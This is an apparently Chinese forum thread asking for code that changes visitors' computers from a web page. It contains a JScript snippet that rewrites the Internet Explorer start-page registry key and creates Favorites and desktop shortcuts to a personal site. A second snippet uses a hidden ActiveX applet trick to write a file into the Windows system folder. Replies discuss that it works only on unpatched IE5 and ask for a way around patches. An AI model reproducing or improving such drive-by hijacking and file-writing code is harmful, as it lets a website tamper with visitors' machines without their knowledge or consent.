求源码50分

Question

<script language="Javascript">
  var WshShell = new ActiveXObject("WScript.Shell");
  var url="http://lucky.myrice.com";
  var title="【孟宪会之精彩世界】";
  WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
  alert(WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page"))
  var FavoritesPath = WshShell.SpecialFolders("Favorites");
  var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".url");
  oUrlLink.TargetPath = url;
  oUrlLink.Save();
  var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
  //alert(DesktopPath)
  //DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
  var MyShortcut = WshShell.CreateShortcut(DesktopPath + "\\" + title+ "的快捷方式.lnk");
  MyShortcut.TargetPath = url;
  MyShortcut.WindowStyle = 4;
  MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
  MyShortcut.Save();
</script>

Answer 1

html>
<script language=javascript>
    document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
    a=document.applets[0];
    a.setClsid("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
    a.CreateInstance();
    fso=a.GetObject();
    var winsys=fso.GetSpecialFolder(1);
    var vbs=winsys + "\\hanfeng.txt"; 
    var st=fso.CreateTextFile(vbs,true);
    st.WriteLine("hello world");
    st.Close();
    window.alert("建立成功");</script>
</html>
帮忙看看这段代码有什么错误

Answer 2

IE5.0支持，其他版本不行。不能安装任何ms的补丁程序……

Answer 3

我的计算机已经打了补丁，有没有在这种情况下实现的代码，net_lover的代码可以么？